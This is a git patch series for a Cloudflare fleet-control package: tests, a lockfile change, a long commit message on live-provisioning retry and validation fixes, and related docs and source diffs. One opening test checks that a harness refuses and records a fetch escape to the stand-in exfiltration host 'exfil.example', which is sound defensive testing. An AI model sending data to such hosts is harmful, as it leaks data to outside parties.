expect(report.findings).toContainEqual( + expect.objectContaining({ code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH' }), + ); + expect(report.cases[0]?.escapes).toEqual([ + { entryPoint: 'globalThis.fetch', host: 'exfil.example', refused: true }, + ]); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); +}); + +it('records FACTORY_FAILED when the case factory throws a null-prototype object', async () => { + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + let constructions = 0; + const report = await rejected( + assertConnectorConformance( + (runtime) => { + if (++constructions === 2) throw Object.create(null); + return factory(async () => ({}))(runtime); + }, + { manifest, cases: [requestCase] }, + ), + ); + expect(report.conformant).toBe(false); + expect(report.findings).toEqual([ + { code: 'FACTORY_FAILED', case: 'request', reason: 'a non-Error object' }, + ]); + expect(report.cases[0]?.proved).toBe('nothing'); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); +}); + +it('accepts the workerd global fetch descriptor the harness requires', () => { + // #given + // #when + const d = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + console.info(`workerd fetch configurable=${d?.configurable}`); + // #then + expect( + d !== undefined && + 'value' in d && + (d.writable === true || d.configurable === true), + `workerd fetch configurable=${d?.configurable}`, + ).toBe(true); +}); diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index b50c390c..e8c9f27b 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -13,6 +13,7 @@ overrides: js-yaml@4: 4.3.1 nanoid@3: 3.3.17 undici: 7.29.0 + miniflare@5.20260730.0-alpha>workerd: 1.20260903.1 patchedDependencies: '@mastra/core@1.53.0': @@ -6261,7 +6262,7 @@ snapshots: '@cspotcode/source-map-support': 0.8.1 sharp: 0.35.2 undici: 7.29.0 - workerd: 1.20260730.1 + workerd: 1.20260903.1 ws: 8.21.0 youch: 4.1.0-beta.10 transitivePeerDependencies: From 7a446d22e50b71efe8087e32e1005f1dfdad54da Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 15 Sep 2026 06:36:49 +0400 Subject: [PATCH 148/169] fix(fleet-control): accept live Cloudflare provisioning behaviour The direct credentialed conformance CLI and the fleet-control package refused provider states the live Cloudflare API returns and local workerd does not produce. Zone listing sent the SDK's array type filter as repeated type= query parameters, and the live API answers that form with no rows, so no zone matched ownedHostname. The listing now carries no type filter and the four accepted zone kinds are applied client-side on each row's type; an unsupported type drops the row, and a missing or malformed type refuses the listing. The package's own account-wide zone-route discovery drops the same filter and applies the four kinds per row. The version resource of an uploaded script omits compatibility_flags when the list is empty, while the settings endpoint returns an empty list; the strict comparison against the configured list refused the absent key. Bootstrap's runtime check and the observation phase's version check both read an absent key as an empty list; an absent key still refuses when the configuration declares flags. Enabling a script's workers.dev ingress returns before the route serves, and the route then answers platform error pages intermittently for a few seconds; bootstrap sent the first control read at once and the invocation ended with its outcome unknown, which the journal cannot resume. Bootstrap now probes the reference endpoint without credentials until three consecutive answers are exactly the contract's 401 refusal, bounded by a 120-second deadline, before it reserves the control read; a deadline that passes refuses provider-unavailable with nothing reserved. Live list envelopes carry errors: null and result_info: null where the fixtures carried empty arrays and objects, and the package's response validators, the CLI's provider layer and its D1 statement check refused the null. Each now reads a null errors or result_info as absent, and still refuses a non-empty errors array or a non-array value; a null page metadata ends a scan as a terminal page. A freshly enabled workers.dev route serves the platform's own error pages for some seconds, and the plain-Worker backend sent its first maintenance request at once. Both maintenance requests now go through one helper that re-sends the same request while the answer is a 404 or a 500 carrying a text/plain or text/html media type without cache-control: no-store and without WWW-Authenticate, every two seconds for up to one minute by default, re-asserting the mutation fence before each POST. Any other answer is parsed at once, the ingress module's own bodiless 404 included, and a deadline error names the wait and the compatibility flag below. The concrete backend forwards both readiness options. Cloudflare answers a Worker's fetch of another Worker on the same account's workers.dev subdomain with error 1042, an HTTP 404 text/plain page, unless the fetching Worker enables global_fetch_strictly_public, and the reference Worker fetched tenant maintenance origins without it. The direct configuration validator accepts the ordered flag lists built from nodejs_compat and global_fetch_strictly_public, requires the latter on the reference Worker, and the example configuration and the harness fixtures carry it; docs/fleet-control.md states the requirement. After a deployment change, the workers.dev route keeps answering a request that names the new version through a version override from the previous version for a few seconds, and the backend failed the maintenance handshake on the first such answer. A well-formed maintenance health that attests a different specification digest is now re-requested, with the same request and the fence re-asserted before each POST, within the readiness deadline the platform-page wait already uses; a missing or malformed digest still fails at once. The CLI treated every non-contract answer to an invocation as an unknown outcome, which ends the run. The invocation client now re-sends the identical request under the same journal reservation: a read-only action (control-read, inventory-read, audit-page, migration-page, cleanup-receipt, decommission-export and the read-only tenant-probe and tenant-fence operations) after any non-contract answer or transport failure, a mutation only after an unmarked text 404 page, because the reference journal does not deduplicate deliveries. Re-delivery is bounded by the shorter of 120 seconds and the invocation timeout, measured from the first attempt; the first send and any answer whose contract headers have arrived run under the invocation timeout alone. An outcome-unknown raised while the delivery is still pending names the class it saw: platform-page, transport-failure, non-contract-answer, or delivery-window-expired when re-delivery exhausts that window. The R2 object API compresses an export object for a client that accepts gzip, and the CLI's byte-exact export check refuses a compressed transfer. The export read now asks for an identity transfer; the checks on encoding, size and digest are unchanged. The client verified an API token through the user token family only, which refuses an account-owned token. Verification now tries the account family first and falls back to the user family on 401, 403, 404, 405, 429 and 5xx. The CLI's reference invocation went through the runtime's default fetch, whose header timeout of 300 seconds sat below the live run's 600-second invocation timeout, so a provisioning invocation that waited for the route was reported with its outcome unknown. The invocation now uses a node:https transport bounded only by the invocation timeout, and refuses a redirect without following it. The inventory's R2 stage lists all three jurisdictions, and an account without FedRAMP entitlement answers that listing with 403, error 10003. The stage now records a non-default jurisdiction whose first page is refused that way as unavailable, in the required FleetResourceInventory.unavailableR2Jurisdictions array, and still fails on the default jurisdiction, a later or resumed page, or any other error; the persisted stage metadata and the page digest keep an unavailable jurisdiction distinct from an empty one. The plain-Worker version listing follows the SDK's paging: after the last item the SDK requests one more page, so a Worker deleted between pages answers that request with 404. The listing now reports a 404 on any page as an absent Worker instead of failing the post-deletion residual check, which reads the listing right after the delete. A Worker upload, a D1 or R2 creation or a deployment change that the platform answers with a transient failure (a 5xx answer, a 408, a 429, or a connection or timeout rejection carrying no status) is now retried, up to three attempts with 2-second and 4-second delays, only after a read proves the intended effect absent, so a version or resource the failed answer did create is adopted rather than created twice. Each attempt is preceded by the mutation-duration check, R2 creation also re-asserts fence ownership, and the delay runs through the backend's injectable wait. A refusal is still not retried; the shared plain-Worker conformance suite pins a retried transport failure and a persistent one. The bootstrap, invocation, observation, provider, config, client, backend, shared conformance, scan, inventory, run-store, fleet, audit, runtime, evidence, run-state, scenario, fetch-fixture, reference harness and Wrangler provisioning suites pin these behaviours. The shared fixtures carry a zone type, the reference flag, null envelope fields, a provider failure repeatable across attempts and the empty jurisdiction array; the bootstrap suite's fixture takes an optional configured flag list, and the reference harness test and the packed probe's provider answer both token verification endpoints. The R2 jurisdiction type the inventory reports is exported from the control-plane and package entries, with sixteen other types the package entry reaches. docs/fleet-control.md gains the provisioning retry, the compatibility flag, the deployment-change wait, the unavailable R2 jurisdiction and the CLI re-delivery rules. A patch changeset accompanies the package changes. Co-Authored-By: Claude Opus 5 --- .changeset/fleet-control-live-provisioning.md | 13 + docs/fleet-control.md | 10 +- .../scripts/control-plane-packed-surface.mjs | 1 + .../scripts/control-plane-packed-worker.ts | 6 +- .../direct-credentialed-bootstrap.d.mts | 11 +- .../scripts/direct-credentialed-bootstrap.mjs | 76 +- ...rect-credentialed-conformance-config.d.mts | 6 +- ...direct-credentialed-conformance-config.mjs | 13 +- ...irect-credentialed-conformance-runtime.mjs | 11 + ...rect-credentialed-conformance.example.json | 2 +- .../direct-credentialed-evidence.d.mts | 2 + .../scripts/direct-credentialed-evidence.mjs | 13 +- .../direct-credentialed-invocation.d.mts | 22 + .../direct-credentialed-invocation.mjs | 465 +++++-- .../direct-credentialed-observations.mjs | 10 +- .../scripts/direct-credentialed-provider.mjs | 14 +- .../direct-credentialed-run-state.d.mts | 4 + .../scripts/direct-credentialed-run-state.mjs | 4 + .../scripts/direct-credentialed-scenario.mjs | 6 + .../cloudflare-api-plain-worker-backend.ts | 7 + .../fleet-control/src/cloudflare-client.ts | 102 +- .../src/cloudflare-control-plane.ts | 1 + .../src/cloudflare-fleet-inventory.ts | 103 +- .../cloudflare-ordinary-worker-operations.ts | 12 +- .../src/cloudflare-provider-errors.ts | 26 + .../src/cloudflare-worker-attachment-scan.ts | 10 +- .../src/fleet-inventory-state.ts | 9 + packages/fleet-control/src/index.ts | 27 +- .../fleet-control/src/plain-worker-backend.ts | 352 ++++-- packages/fleet-control/src/types.ts | 2 + .../wrangler-plain-worker-provisioning-api.ts | 5 +- ...loudflare-api-plain-worker-backend.test.ts | 48 + .../cloudflare-client-plain-worker.test.ts | 97 +- .../test/cloudflare-client.test.ts | 377 +++++- .../test/cloudflare-fetch-fixture.test.ts | 40 +- .../test/cloudflare-fleet-inventory.test.ts | 220 ++++ .../direct-credentialed-bootstrap.test.ts | 425 ++++++- ...ct-credentialed-conformance-config.test.ts | 41 +- ...t-credentialed-conformance-runtime.test.ts | 55 + .../test/direct-credentialed-evidence.test.ts | 76 ++ .../direct-credentialed-invocation.test.ts | 865 ++++++++++++- .../direct-credentialed-observations.test.ts | 97 ++ .../test/direct-credentialed-provider.test.ts | 98 ++ .../direct-credentialed-run-state.test.ts | 15 + .../test/direct-credentialed-scenario.test.ts | 32 +- .../direct-reference-worker.harness.test.ts | 7 +- .../test/fixtures/cloudflare-fetch-fixture.ts | 44 +- .../test/fixtures/direct-reference-harness.ts | 5 +- .../test/fixtures/fleet-audit-world.ts | 1 + .../fleet-inventory-drain-baseline.ts | 7 +- .../test/fixtures/provider-world.ts | 20 +- .../test/fleet-audit-advance.test.ts | 3 + .../test/fleet-inventory-run-store.test.ts | 35 + packages/fleet-control/test/fleet.test.ts | 10 + .../test/plain-worker-backend-conformance.ts | 262 ++-- .../test/plain-worker-backend.test.ts | 1077 ++++++++++++++++- .../test/worker-attachment-scan.test.ts | 23 + .../test/wrangler-loop-backend.test.ts | 102 +- ...gler-plain-worker-provisioning-api.test.ts | 43 + 59 files changed, 4949 insertions(+), 521 deletions(-) create mode 100644 .changeset/fleet-control-live-provisioning.md create mode 100644 packages/fleet-control/test/direct-credentialed-provider.test.ts diff --git a/.changeset/fleet-control-live-provisioning.md b/.changeset/fleet-control-live-provisioning.md new file mode 100644 index 00000000..8a2f92dd --- /dev/null +++ b/.changeset/fleet-control-live-provisioning.md @@ -0,0 +1,13 @@ +--- +'@proofoftech/fleet-control': patch +--- + +Accept successful Cloudflare list responses with `errors: null` or `result_info: null`. Retry plain-Worker maintenance requests answered by a workers.dev platform 404 or 500 text page, for up to 60 seconds at 2-second intervals by default. Both `PlainWorkerBackendOptions` and `CloudflareApiPlainWorkerBackendOptions` expose `maintenanceRouteReadyTimeoutMs` and `maintenanceRouteReadyIntervalMs` to configure these bounds, and `wait` to delay reconciled mutation retries. Host Workers that fetch tenant maintenance origins on the same account's workers.dev subdomain require the `global_fetch_strictly_public` compatibility flag. Verify account-owned API tokens through the account endpoint, with fallback to user-token verification when the account endpoint is unavailable. + +Record first-page R2 access refusals (403, error 10003) for non-default jurisdictions in the required `FleetResourceInventory.unavailableR2Jurisdictions` array, preserving failures for default, later pages, and other errors. + +Export `FleetInventoryR2Jurisdiction` from the root and Cloudflare control-plane entries, and expose the root's reachable `D1FleetInventoryRunStoreOptions`, `D1FleetOperationStoreOptions`, `FleetInventoryDeploymentFactKind`, `FleetInventoryFailureReason`, `FleetInventoryGeneration`, `FleetInventoryRowKind`, `FleetInventoryRunProgress`, `FleetInventoryRunRecord`, `FleetInventoryStage`, `FleetInventoryStagedFact`, `FleetInventoryStagedRow`, `FleetInventoryStageInput`, `FleetInventoryStageResult`, `OrdinaryWorkerDeploymentVersion`, `PreparedOrdinaryWorkerDeploymentVersions`, and `PreparedOrdinaryWorkerUpload` types. + +Wait within the maintenance readiness deadline when a plain-Worker maintenance response attests the previous deployment specification, including version-override requests. + +Retry transient ordinary Worker provisioning failures up to three total backend attempts when provider reconciliation confirms that the upload, database or bucket creation, or deployment change did not take effect. diff --git a/docs/fleet-control.md b/docs/fleet-control.md index 7d8af19c..660796a3 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -194,7 +194,7 @@ Application KV bindings are unsupported. Cloudflare caps an account at [1,000 KV Both ordinary-Worker backends upload a digest-tagged Worker Version with the exact built-in and declared application secret set. `WranglerLoopBackend` passes those secrets through a mode-0600 file. For an existing deployment, either backend attaches the candidate at zero percent, sends the maintenance request with `Cloudflare-Workers-Version-Overrides`, and accepts the response only when `deploymentSpecDigest` matches the requested build. It then promotes that version to 100 percent, verifies the live custom-domain owner against `PromotionGuard`, attaches the domain, and re-inspects the mapping. A failed maintenance check never publishes the route. -The direct API backend must create an initial script before Cloudflare accepts its workers.dev configuration. For either ordinary-Worker backend, tagged-version rediscovery accepts a failed upload only after the Worker footprint attests the intended workers.dev and preview-URL state. +The direct API backend must create an initial script before Cloudflare accepts its workers.dev configuration. For either ordinary-Worker backend, tagged-version rediscovery accepts a failed upload only after the Worker footprint attests the intended workers.dev and preview-URL state. Worker uploads, D1 and R2 creation, and deployment changes retry transient provider failures up to three total backend attempts, with 2-second and 4-second delays, after readback proves the intended effect is absent. Both built-in ordinary-Worker backends run the same conformance suite. It verifies fleet records, backend results, provider-visible Worker versions and bindings, deployment percentages, secret names, domains, databases, Durable Object namespaces, export bytes and integrity, initial-deploy public access, and mutation ordering where order affects safety. It deliberately excludes transport requests and commands, fence-call counts, pagination mechanics, export locations, provider diagnostics, and adapter scratch-cleanup outcomes. On staged uploads, the direct API adapter also converges workers.dev and preview-URL settings, while `wrangler versions upload` does not; the shared suite therefore does not assert staged public-access state. @@ -212,6 +212,10 @@ Every generated plain Worker uses a platform-owned guarded entry module. The gua Every other hostname returns HTTP 404. This includes `workers.dev` unless `maintenanceBaseUrl` names that exact host. Preview URLs remain disabled. +A host Worker that runs an ordinary-Worker backend and fetches tenant maintenance origins on the same account's workers.dev subdomain must enable `global_fetch_strictly_public`. Otherwise, Cloudflare answers these same-subdomain Worker-to-Worker requests with error 1042, an HTTP 404 `text/plain` page. The direct conformance CLI requires this compatibility flag on its reference Worker. + +After a deployment change, the maintenance route can answer a version-override request from the previous version for a few seconds (1–5 seconds in conductor measurements). When a valid maintenance health attests a different specification digest, the plain-Worker backend re-sends the request at `maintenanceRouteReadyIntervalMs` within `maintenanceRouteReadyTimeoutMs` before failing. This also bounds stale health answers during inspection without an override; platform 404 retries and digest retries share one deadline per maintenance request. + The guard re-exports local Durable Object classes and invokes the original default object’s `fetch` method with its original receiver. The main module must be importable string JavaScript whose evaluated default export is an object with a callable `fetch`; module evaluation fails closed otherwise. A versioned binding prevents a same-spec version created before this guard existed from satisfying candidate convergence. ## Promote and roll back external releases @@ -433,6 +437,8 @@ Each target D1 database contains the authoritative `anchorage_fleet_migrations` `CloudflareProvisioningClient.collectFleetInventory()` independently enumerates ordinary Workers, their complete current deployment version sets, bindings, secret names, custom domains, and traditional Workers Routes. A ready ordinary Worker must have exactly one current version total and that version must receive 100 percent of traffic; even a zero-percent extra version is request-addressable through version overrides and therefore reports drift. Each committed immutable release stores its own exact application variable, application secret descriptor, R2, Durable Object, service, queue, and secret-name topology. Recurring inventory can therefore attest active, pending, rollback, and retiring releases without applying the current release's bindings to an older retained artifact. The client discovers every zone through the account-filtered Cloudflare API instead of accepting a caller-supplied zone list. Before route inspection or cleanup, it reads the active token policy and requires Zone Read, Workers Routes Read, and Workers Routes Write for all zones in the exact account. Missing token-policy visibility, partial zone scope, explicit denial, malformed zone ownership, or a discovery failure stops the operation. The token therefore also needs API Tokens Read. When Workers for Platforms is enabled, inventory collects the host-route and script registries, reads the authenticated paginated dispatch-script listing, validates stable fleet, tenant, and environment tags, inspects every registered dispatch script, and enumerates prefixed D1 databases, Durable Object namespaces, and fleet-owned R2 buckets. The namespace's independent `script_count` is a secondary cross-check against the paginated result, and `trusted_workers` must be exactly `false`. Fleet control repeats that exact namespace check immediately before every external script upload. +A non-default jurisdiction the account cannot access on its first page (Cloudflare answers the listing with 403, error 10003) is recorded in `unavailableR2Jurisdictions` as unavailable and holds no fleet residue; any other listing failure fails the stage. + External resource-group inventory checks the dispatch-native state script and each candidate as distinct roles under one immutable group identity. During a legacy switch rollback window, it also checks the adopted ordinary bridge. It verifies the shared D1 binding, local state namespaces, candidate remote Durable Object targets, application variables, exact secret names, application R2 bindings, exact named service and queue topology, trusted artifact and policy digests, static tenant and environment attribution, and the absence of public state routes. The backend-owned shared audit queue name is part of the persisted platform target and resource snapshot, so configuration drift cannot retarget an existing deployment. Route inventory records whether each entry came from the host registry, a custom domain, or a zone route. Fleet control reserves the owner-checked registry entry before upload so every script created through the supported client is enumerable by name. Plain-only collection makes no dispatch-namespace request. Pass that independently collected `FleetResourceInventory` to `auditFleetDrift()`; do not derive it from fleet records. The audit works in both directions and contains an individual inspection or watchdog error so one broken deployment does not hide the rest. It reports missing, duplicate, malformed, and orphan scripts, databases, routes, Durable Object namespaces, and R2 buckets. It also reports exact application-variable, secret-name, R2-binding, route, artifact, and schema drift. Lifecycle-aware expectations distinguish an unpublished candidate, a published deployment, a retained rollback release, and resources that should already be absent during decommissioning. A deployment under an active bounded cleanup is its own reconciliation authority: the audit emits no expectation-based, orphan, or record-level findings for it — including `incomplete-provisioning` — while its cleanup intent is active, and its declared resource identities never read as orphans. A long-blocked cleanup stays visible through the record itself, in `phase: 'cleanup-advancing'` with a `blocked` step, never through drift findings. Secret-value drift remains opaque because provider inventory cannot return or hash the stored value. @@ -689,7 +695,7 @@ Modes are mutually exclusive. Use `--help` for usage. Live modes require built p | `4` | Resources retained | Use the recorded facts for recovery approval | | `5` | Evidence failed, or the summary line is withheld because it would contain a credential | With a summary, check `evidenceWritten`; with no output at all, read `evidence.json` directly: its `exitCode` and `status` are the run's own | -A successful complete teardown makes a later resume evidence-only, with no provider requests and a null `teardownCall`. A recorded teardown refusal re-observes residuals and retains resources instead of advancing into deletion. Pending invocation or bootstrap mutations refuse automated continuation with `outcome-unknown`: inspection validates the journal binding under the same lock, reports retained identities, and writes evidence without mutating the journal. Pending teardown work can resume reconciliation. Concurrent callers fail with `lock-unavailable`; an existing run refuses `--run` with `run-exists`. +A successful complete teardown makes a later resume evidence-only, with no provider requests and a null `teardownCall`. A recorded teardown refusal re-observes residuals and retains resources instead of advancing into deletion. Pending invocation or bootstrap mutations refuse automated continuation with `outcome-unknown`: inspection validates the journal binding under the same lock, reports retained identities, and writes evidence without mutating the journal. Pending teardown work can resume reconciliation. After the ingress probe, the client re-sends identical requests under one reservation within the shorter of 120 seconds or the invocation timeout: read-only actions retry transport failures and non-contract answers; mutations retry only unmarked 404 text pages. The first send and any answer whose contract headers have arrived are bounded by the invocation timeout alone. Answer failures report a fixed `detail`: `platform-page`, `transport-failure`, `non-contract-answer`, or `delivery-window-expired` when read-only delivery exhausts that window. Concurrent callers fail with `lock-unavailable`; an existing run refuses `--run` with `run-exists`. Give `evidence.json` to the recovery approval. Its allowlist projects configuration and artifact digests, versions, times, resume and invocation counts, dispatch classification, scenario failures and proofs, teardown receipts and residual counts, the current teardown call, and retained resource identities. Account and zone identifiers are represented by hash suffixes; cost remains `unknown`. The journal retains residual names that evidence omits. Top-level `status` describes cleanup disposition, while `scenario.failure` describes the scenario outcome; `teardownCall` records the current call separately from durable teardown state. diff --git a/packages/fleet-control/scripts/control-plane-packed-surface.mjs b/packages/fleet-control/scripts/control-plane-packed-surface.mjs index 057d0f7a..dba0376d 100644 --- a/packages/fleet-control/scripts/control-plane-packed-surface.mjs +++ b/packages/fleet-control/scripts/control-plane-packed-surface.mjs @@ -135,6 +135,7 @@ const TYPE_NAMES = [ 'FleetInventoryDeployment', 'FleetInventoryFinding', 'FleetInventoryGenerationRef', + 'FleetInventoryR2Jurisdiction', 'FleetInventoryRowKind', 'FleetInventoryRunToken', 'FleetMigrationAdvanceAction', diff --git a/packages/fleet-control/scripts/control-plane-packed-worker.ts b/packages/fleet-control/scripts/control-plane-packed-worker.ts index d8c975e9..13d17c88 100644 --- a/packages/fleet-control/scripts/control-plane-packed-worker.ts +++ b/packages/fleet-control/scripts/control-plane-packed-worker.ts @@ -202,7 +202,11 @@ async function provider(env: Env, invocationId: string) { .bind(invocationId, method, url.href) .run(); const path = url.pathname; - if (method === 'GET' && path === '/client/v4/user/tokens/verify') { + if ( + method === 'GET' && + (path === '/client/v4/accounts/account/tokens/verify' || + path === '/client/v4/user/tokens/verify') + ) { return single({ id: 'token-id', status: 'active' }); } if ( diff --git a/packages/fleet-control/scripts/direct-credentialed-bootstrap.d.mts b/packages/fleet-control/scripts/direct-credentialed-bootstrap.d.mts index 203410e5..d9b78c4d 100644 --- a/packages/fleet-control/scripts/direct-credentialed-bootstrap.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-bootstrap.d.mts @@ -1,7 +1,10 @@ // SPDX-License-Identifier: Apache-2.0 import type { PreparedDirectConformance } from './direct-credentialed-conformance-preflight.mjs'; -import type { DirectInvocationClient } from './direct-credentialed-invocation.mjs'; +import type { + DirectInvocationClient, + DirectInvocationFailureDetail, +} from './direct-credentialed-invocation.mjs'; import type { DirectRunJournal } from './direct-credentialed-run-state.mjs'; export type DirectBootstrapErrorCode = @@ -15,8 +18,12 @@ export type DirectBootstrapErrorCode = | 'reference-refused'; export class DirectBootstrapError extends Error { + readonly detail: DirectInvocationFailureDetail | undefined; readonly code: DirectBootstrapErrorCode; - constructor(code?: DirectBootstrapErrorCode); + constructor( + code?: DirectBootstrapErrorCode, + detail?: DirectInvocationFailureDetail, + ); } export function bootstrapDirectConformance( diff --git a/packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs b/packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs index 947011a8..7e8ed151 100644 --- a/packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs @@ -2,7 +2,7 @@ import { createHash } from 'node:crypto'; import { isDeepStrictEqual } from 'node:util'; - +import { DIRECT_INVOCATION_FAILURE_DETAILS } from './direct-credentialed-invocation.mjs'; import { validateProviderAuth as auth, classifyDispatchNamespaces, @@ -13,6 +13,9 @@ import { } from './direct-credentialed-provider.mjs'; import { DirectRunStateError } from './direct-credentialed-run-state.mjs'; +// The SDK's repeated type query parameters return no rows from the live API. +const ZONE_TYPES = Object.freeze(['full', 'partial', 'secondary', 'internal']); + const ERROR_CODES = new Set([ 'invalid-input', 'provider-unavailable', @@ -25,16 +28,19 @@ const ERROR_CODES = new Set([ ]); export class DirectBootstrapError extends Error { - constructor(code = 'invalid-input') { + constructor(code = 'invalid-input', detail) { const accepted = ERROR_CODES.has(code) ? code : 'invalid-input'; super(accepted); this.name = 'DirectBootstrapError'; this.code = accepted; + this.detail = DIRECT_INVOCATION_FAILURE_DETAILS.includes(detail) + ? detail + : undefined; } } -function refuse(code = 'observation-mismatch') { - throw new DirectBootstrapError(code); +function refuse(code = 'observation-mismatch', detail) { + throw new DirectBootstrapError(code, detail); } function object(value) { @@ -223,6 +229,7 @@ async function checkedInput(input) { function zone(row, accountId) { identifier(row.id); + identifier(row.type); const name = identifier(row.name, 253); if ( row.account?.id !== accountId || @@ -401,12 +408,12 @@ export async function bootstrapDirectConformance(input) { numbered.zones.list({ account: { id: accountId }, per_page: 50, - type: ['full', 'partial', 'secondary', 'internal'], }), (row) => zone(row, accountId), bound, ); const matches = zones + .filter((row) => ZONE_TYPES.includes(row.type)) .filter( (row) => prepared.config.ownedHostname === row.name || @@ -422,7 +429,8 @@ export async function bootstrapDirectConformance(input) { zone(selectedZone, accountId); if ( selectedZone.id !== matches[0].id || - selectedZone.name !== matches[0].name + selectedZone.name !== matches[0].name || + !ZONE_TYPES.includes(selectedZone.type) ) refuse(); const namespaces = await classifyDispatchNamespaces( @@ -492,14 +500,33 @@ export async function bootstrapDirectConformance(input) { const mutate = async (kind, dispatchMutation, receipt) => { transport.assertBudget(); await journal.beginBootstrapMutation(kind); + let detail = 'transport-failure'; try { const value = await dispatchMutation(); - await journal.confirmBootstrapMutation({ - kind, - receipt: receipt(value), - }); - } catch { - refuse('outcome-unknown'); + detail = 'non-contract-answer'; + const confirmed = receipt(value); + detail = undefined; + await journal.confirmBootstrapMutation({ kind, receipt: confirmed }); + } catch (error) { + if ( + detail === 'transport-failure' && + error instanceof APIError && + error.status !== undefined + ) { + const headers = error.headers; + const mediaType = headers + ?.get('content-type') + ?.split(';')[0] + ?.trim() + .toLowerCase(); + detail = + (mediaType === 'text/plain' || mediaType === 'text/html') && + headers.get('cache-control') !== 'no-store' && + !headers.has('www-authenticate') + ? 'platform-page' + : 'non-contract-answer'; + } + refuse('outcome-unknown', detail); } }; for (const [field, name, kind] of [ @@ -680,7 +707,13 @@ export async function bootstrapDirectConformance(input) { value?.limits?.cpu_ms !== runtime.cpuLimitMs ) refuse(); - equal(value.compatibility_flags, runtime.compatibilityFlags); + // The version resource omits compatibility_flags when the list is empty. + equal( + value.compatibility_flags === undefined + ? [] + : value.compatibility_flags, + runtime.compatibilityFlags, + ); }; checkRuntime(version.resources?.script_runtime); const { providerBindingsToPlainWorkerShape } = await import( @@ -732,15 +765,22 @@ export async function bootstrapDirectConformance(input) { checkIngress( await sdk.workers.scripts.subdomain.get(names.referenceWorker, selectors), ); - const { createDirectInvocationClient } = await import( - './direct-credentialed-invocation.mjs' - ); + const { awaitReferenceIngress, createDirectInvocationClient } = + await import('./direct-credentialed-invocation.mjs'); + if ( + !(await awaitReferenceIngress({ + prepared, + accountWorkersDevSubdomain: subdomain, + fetch: fetchRequest, + })) + ) + refuse('provider-unavailable'); const client = createDirectInvocationClient({ prepared, journal, accountWorkersDevSubdomain: subdomain, invokeSecret, - fetch: fetchRequest, + fetch: input.fetch, }); const observed = await client.invoke({ kind: 'control-read' }); equal(observed.result?.binding, runBinding); @@ -756,7 +796,7 @@ export async function bootstrapDirectConformance(input) { refuse(error.code === 'outcome-unknown' ? error.code : 'invalid-input'); if (transport?.failure()) refuse(transport.failure()); if (error?.name === 'DirectInvocationError' && ERROR_CODES.has(error.code)) - refuse(error.code); + refuse(error.code, error.detail); refuse('provider-unavailable'); } finally { transport?.close(); diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-config.d.mts b/packages/fleet-control/scripts/direct-credentialed-conformance-config.d.mts index a03e69b4..2443a877 100644 --- a/packages/fleet-control/scripts/direct-credentialed-conformance-config.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-config.d.mts @@ -18,7 +18,11 @@ export interface DirectArtifactIntent { export interface DirectRuntimeIntent { readonly artifact: DirectArtifactIntent; readonly compatibilityDate: string; - readonly compatibilityFlags: readonly [] | readonly ['nodejs_compat']; + readonly compatibilityFlags: + | readonly [] + | readonly ['nodejs_compat'] + | readonly ['global_fetch_strictly_public'] + | readonly ['nodejs_compat', 'global_fetch_strictly_public']; readonly cpuLimitMs: number; readonly subrequestLimit: number; } diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs b/packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs index dccd078c..209510e1 100644 --- a/packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs @@ -147,7 +147,12 @@ function runtime(input, field, today) { !Array.isArray(flags) || !( flags.length === 0 || - (flags.length === 1 && flags[0] === 'nodejs_compat') + (flags.length === 1 && + (flags[0] === 'nodejs_compat' || + flags[0] === 'global_fetch_strictly_public')) || + (flags.length === 2 && + flags[0] === 'nodejs_compat' && + flags[1] === 'global_fetch_strictly_public') ) ) throw invalid(`${field}.compatibilityFlags`); @@ -245,6 +250,12 @@ export function validateDirectConformanceConfig(value, options = {}) { 'referenceWorker', ); const referenceRuntime = runtime(reference, 'referenceWorker', today); + if ( + !referenceRuntime.compatibilityFlags.includes( + 'global_fetch_strictly_public', + ) + ) + throw invalid('referenceWorker.compatibilityFlags'); if (referenceRuntime.artifact.mainModule === 'direct-run-manifest.js') throw invalid('referenceWorker.artifact.mainModule'); const maxProviderRequests = integer( diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.mjs b/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.mjs index 0013bc33..ac7e4394 100644 --- a/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.mjs @@ -269,6 +269,8 @@ export async function runDirectConformance(input) { let inspection; let outcome = { status: 'failed', exitCode: 1, teardownCall: null }; let code; + let detail; + let invocationFailureDetail; let evidencePath = null; let summary; try { @@ -334,6 +336,11 @@ export async function runDirectConformance(input) { ...networkInput, invocation, }); + if ( + scenario.status === 'failed' && + scenario.reason === 'outcome-unknown' + ) + invocationFailureDetail = scenario.detail; restart = scenario.status === 'restart-required'; } if (restart) { @@ -375,6 +382,8 @@ export async function runDirectConformance(input) { : error instanceof DirectBootstrapError ? new DirectBootstrapError(error.code).code : 'internal-error'; + if (error instanceof DirectBootstrapError) + detail = new DirectBootstrapError(error.code, error.detail).detail; outcome = { status: 'failed', exitCode: 1, teardownCall: null }; } finally { const handle = journal ?? inspection; @@ -384,6 +393,7 @@ export async function runDirectConformance(input) { const snapshot = journal ? journal.snapshot() : inspection.snapshot; const evidence = buildDirectEvidence({ snapshot, + invocationFailureDetail, prepared, mode: input.mode, outcome, @@ -394,6 +404,7 @@ export async function runDirectConformance(input) { status: evidence.status, exitCode: evidence.exitCode, ...(code ? { code } : {}), + 